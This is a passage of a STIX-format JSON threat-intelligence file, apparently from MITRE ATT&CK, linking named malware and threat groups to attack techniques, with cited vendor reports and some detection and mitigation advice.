"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.386Z", "description": "[down_new](https://attack.mitre.org/software/S0472) has the ability to identify the MAC address of a compromised host.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--8be7c69e-d8e3-4970-9668-61de08e508cc", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd033098-eb56-4c17-90d7-c7673f04bcd6", "created": "2022-09-02T18:36:01.751Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "description": "Chen, J., et al. (2022). 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Retrieved November 12, 2021."}], "modified": "2021-11-23T15:26:58.688Z", "description": "[Clambling](https://attack.mitre.org/software/S0660) can identify the username on a compromised host.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd06ea48-6dde-4753-8f2b-c2fb56bea4f4", "type": "relationship", "created": "2021-03-12T16:55:09.283Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. 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Retrieved March 12, 2021."}], "modified": "2021-03-12T17:03:27.485Z", "description": "[GoldMax](https://attack.mitre.org/software/S0588) can exfiltrate files over the existing C2 channel.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", "relationship_type": "uses", "source_ref": "malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd0c5079-1bd3-45fa-b8e7-aabf0a5513b7", "type": "relationship", "created": "2020-12-22T20:52:34.788Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). 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Retrieved December 21, 2020."}], "modified": "2020-12-29T20:23:05.369Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used tools including NMAP to conduct broad scanning to identify open ports.(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: ClearSky Pay2Kitten December 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd0dbfef-065c-47c9-a9e3-ac8d02f7ca42", "created": "2023-09-27T20:03:28.692Z", "revoked": false, "external_references": [{"source_name": "MoustachedBouncer ESET August 2023", "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. 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Retrieved February 2, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Lizar](https://attack.mitre.org/software/S0681) can retrieve network information from a compromised host.(Citation: BiZone Lizar May 2021)", "modified": "2022-04-05T19:57:09.304Z", "relationship_type": "uses", "source_ref": "malware--f74a5069-015d-4404-83ad-5ca01056c0dc", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd2236c2-3f6e-492b-bbb5-07b672652378", "created": "2023-03-17T15:06:39.686Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Slack Help Center Access Logs", "description": "Slack Help Center. (n.d.). View Access Logs for your workspace. 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Retrieved September 8, 2021.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-19T13:35:02.571Z", "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can impersonate a `lsass.exe` or `vmtoolsd.exe` token.(Citation: BitDefender BADHATCH Mar 2021) ", "relationship_type": "uses", "source_ref": "malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888", "target_ref": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd2c9cb1-9c5a-4c97-83e4-4beee309a7cb", "type": "relationship", "created": "2020-08-10T14:43:04.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SentinelOne Lazarus macOS July 2020", "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/", "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."}], "modified": "2020-08-10T14:43:04.559Z", "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can use TCP in communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)", "relationship_type": "uses", "source_ref": "malware--a04d9a4c-bb52-40bf-98ec-e350c2d6a862", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd2ef18a-1072-4f5b-a360-a01017b421e2", "created": "2021-11-29T18:52:28.838Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Lunghi Iron Tiger Linux", "description": "Daniel Lunghi. (2023, March 1). Iron Tiger\u2019s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.", "url": "https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}, {"source_name": "Trend Micro Iron Tiger April 2021", "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.", "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-29T16:15:37.990Z", "description": "[SysUpdate](https://attack.mitre.org/software/S0663) has been packed with VMProtect.(Citation: Trend Micro Iron Tiger April 2021)(Citation: Lunghi Iron Tiger Linux)", "relationship_type": "uses", "source_ref": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd380abd-e1d8-4c8a-bd87-6e7a110fe0b4", "created": "2023-06-14T23:04:48.129Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RotaJakiro 2021 netlab360 analysis", "description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. 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Retrieved May 5, 2020."}], "modified": "2020-05-06T15:26:38.958Z", "description": "[PLEAD](https://attack.mitre.org/software/S0435) has the ability to list processes on the compromised host.(Citation: TrendMicro BlackTech June 2017)", "relationship_type": "uses", "source_ref": "malware--b57f419e-8b12-49d3-886b-145383725dcd", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd582e36-081c-4bc7-ab2a-cc859c7930bc", "type": "relationship", "created": "2022-03-30T14:26:51.849Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.849Z", "description": "Monitor newly executed processes that may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd5add56-119e-4d40-983b-f2a41ba98abf", "type": "relationship", "created": "2020-03-19T21:47:07.777Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A", "description": "US-CERT. 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(2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-06T19:39:44.074Z", "description": "[KGH_SPY](https://attack.mitre.org/software/S0526) can collect drive information from a compromised host.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd689e6a-443d-4465-b637-a7befde5e052", "created": "2024-03-25T21:26:00.339Z", "revoked": false, "external_references": [{"source_name": "CISA Scattered Spider Advisory November 2023", "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). 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Retrieved March 18, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T21:26:00.339Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) has deployed [BlackCat](https://attack.mitre.org/software/S1068) ransomware to victim environments for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "malware--50c44c34-3abb-48ae-9433-a2337de5b0bc", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd6b6ddd-cecc-4181-af98-d6b4ce6a43a7", "created": "2022-03-30T14:26:51.843Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017", "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-23T20:53:59.197Z", "description": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017)\n\nNote: Sysmon Event ID 7 (Image loaded) can be used to monitor for suspicious DLLs loaded by the DCOM Server Process Launcher which runs inside of svchost.exe. This is a particularly noisy event and can generate a large volume of data, so we recommend baselining and filtering out any known benign svchost.exe module loads that occur as part of its typical operation.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--68a0c5ed-bee2-4513-830d-5b0d650139bd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd6eca67-574c-433a-8764-12cc802a0387", "type": "relationship", "created": "2022-03-24T22:31:32.680Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub SILENTTRINITY Modules July 2019", "url": "https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo", "description": "Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}], "modified": "2022-03-24T22:31:32.680Z", "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) can establish a LNK file in the startup folder for persistence.(Citation: GitHub SILENTTRINITY Modules July 2019)", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd7875c3-fbe2-4b9a-a580-9e730a619610", "type": "relationship", "created": "2022-03-30T14:26:51.861Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.861Z", "description": "Compare the checksum of the operating system file with the checksum of a known good copy from a trusted source. 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If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.\u00a0https://tools.cisco.com/security/center/resources/integrity_assurance.html#13", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--d245808a-7086-4310-984a-a84aaaa43f8f", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--dd7f2e12-d646-4a89-9ba6-4f20e88fb7db", "created": "2022-08-16T19:48:48.626Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "NCSC GCHQ Small Sieve Jan 2022", "url": "https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf", "description": "NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Small Sieve](https://attack.mitre.org/software/S1035) has the ability to use the Telegram Bot API from Telegram Messenger to send and receive messages.(Citation: NCSC GCHQ Small Sieve Jan 2022)", "modified": "2022-08-16T19:48:48.626Z", "relationship_type": "uses", "source_ref": "malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd812f2c-a0a0-4543-af23-25e71c899bf4", "type": "relationship", "created": "2020-05-22T20:27:31.512Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Symantec Security Response. (2015, December 7). Iran-based attackers use back door threats to spy on Middle Eastern targets. Retrieved April 17, 2019.", "url": "https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", "source_name": "Symantec Chafer Dec 2015"}], "modified": "2020-05-22T20:27:31.512Z", "description": "[Cadelspy](https://attack.mitre.org/software/S0454) has the ability to capture screenshots and webcam photos.(Citation: Symantec Chafer Dec 2015)", "relationship_type": "uses", "source_ref": "malware--a705b085-1eae-455e-8f4d-842483d814eb", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd82187a-7a40-45c3-a1d2-66d37bc6146e", "created": "2022-01-09T21:43:03.175Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.688Z", "description": "[Hikit](https://attack.mitre.org/software/S0009) can upload files from compromised machines.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd82b9d7-d60c-4dc0-97d7-244a1365a1e9", "type": "relationship", "created": "2020-05-12T14:12:19.716Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Cloud Atlas August 2019", "url": "https://securelist.com/recent-cloud-atlas-activity/92016/", "description": "GReAT. (2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}], "modified": "2020-05-12T20:33:57.737Z", "description": "[PowerShower](https://attack.mitre.org/software/S0441) has used 7Zip to compress .txt, .pdf, .xls or .doc files prior to exfiltration.(Citation: Kaspersky Cloud Atlas August 2019)", "relationship_type": "uses", "source_ref": "malware--53486bc7-7748-4716-8190-e4f1fde04c53", "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd84b767-1623-421b-8f31-048924be5f17", "created": "2020-06-16T17:53:19.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Gamaredon June 2020", "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020.", "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-22T04:36:22.386Z", "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has delivered self-extracting 7z archive files within malicious document attachments.(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd86550a-6b4d-4385-bf80-404bfe8cb038", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor newly constructed processes that assist in lateral tool transfers. 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Retrieved June 29, 2021."}], "modified": "2021-06-30T19:50:14.771Z", "description": "[Nebulae](https://attack.mitre.org/software/S0630) can list files and directories on a compromised host.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b", "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd89d8a2-257a-47f9-8b55-8011ca53007b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto T9000 Feb 2016", "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}], "modified": "2020-03-30T03:07:37.852Z", "description": "[T9000](https://attack.mitre.org/software/S0098) can take screenshots of the desktop and target application windows, saving them to user directories as one byte XOR encrypted .dat files.(Citation: Palo Alto T9000 Feb 2016)", "relationship_type": "uses", "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dd8a9180-706c-4ba3-88a7-e674cde96d8f", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-14T15:25:12.419Z", "description": "Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls. Static Portable Executable (PE) analysis tools can be used to examine and dump the exports of a particular DLL. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd8baf22-4e06-4b5e-81c6-d100048102e8", "type": "relationship", "created": "2020-02-20T22:02:20.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Ready.gov IT DRP", "url": "https://www.ready.gov/business/implementation/IT", "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019."}], "modified": "2020-02-21T14:11:14.637Z", "description": "Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", "relationship_type": "mitigates", "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", "target_ref": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd8d683a-0c17-448f-b604-105e130f4b04", "type": "relationship", "created": "2020-05-21T21:31:34.164Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Pony April 2016", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}], "modified": "2020-06-15T16:51:22.108Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has used a small dictionary of common passwords against a collected list of local accounts.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd900d1e-ef80-4e35-9cf3-53653babf346", "type": "relationship", "created": "2020-11-06T18:40:38.322Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", "source_name": "cobaltstrike manual"}], "modified": "2022-02-25T18:58:14.878Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can make tokens from known credentials.(Citation: cobaltstrike manual)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--8cdeb020-e31e-4f88-a582-f53dcfbda819", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd9a12ee-30b1-4764-860d-111c73411ebe", "type": "relationship", "created": "2021-03-16T22:47:15.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft Driver Block Rules", "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules", "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021."}], "modified": "2021-04-22T16:13:35.353Z", "description": "Consider blocking the execution of known vulnerable drivers that adversaries may exploit to execute code in kernel mode. Validate driver block rules in audit mode to ensure stability prior to production deployment.(Citation: Microsoft Driver Block Rules)", "relationship_type": "mitigates", "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db", "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dd9c1644-259d-4980-8058-fdc3c72fac7b", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/", "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", "source_name": "F-Secure Sofacy 2015"}, {"source_name": "Talos Seduploader Oct 2017", "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html", "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018."}], "modified": "2020-03-20T16:40:41.241Z", "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017)", "relationship_type": "uses", 